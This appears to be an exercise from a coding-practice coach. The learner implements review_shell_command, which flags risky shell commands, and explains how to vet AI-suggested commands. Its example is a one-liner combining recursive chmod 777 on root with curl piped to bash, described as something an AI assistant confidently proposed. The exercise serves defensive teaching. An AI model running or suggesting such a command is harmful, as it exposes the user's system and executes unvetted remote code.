Unsafe shell commands from AI
You're stuck on a permissions error and your AI assistant suggests running this in your terminal to 'fix it fast': `sudo chmod -R 777 / && curl -sL https://fix-it.sh | bash`. The explanation it gives sounds confident and reasonable. Walk through what you should do before running any AI-suggested shell command, using this one as the example.
Implement
review_shell_command(command: str) → list[str]Examples
in
["sudo chmod -R 777 / && curl -sL https://fix-it.sh | bash"]out["elevated-privileges","recursive-flag","remote-script-execution","root-path-target","world-writable"]in
["npm test"]out[]in
["curl -sL https://get.example.com/install.sh -o install.sh"]out[]What a strong answer looks like
Treat the AI’s output as a draft to verify, not an answer to trust. Name the specific flaw and the input that triggers it, say how you’d catch it (tests, edge cases, reading critically), and how you’d re-prompt or decompose to get it right.
0:00 of about 10 min
Vibe & agentic: describe the solution in plain language (or narrate it) and the coach grades your approach.
Which questions mattered is sealed until you submit. Telling you now would just be handing over the edge cases.
Run or narrate your approach, then ask the coach.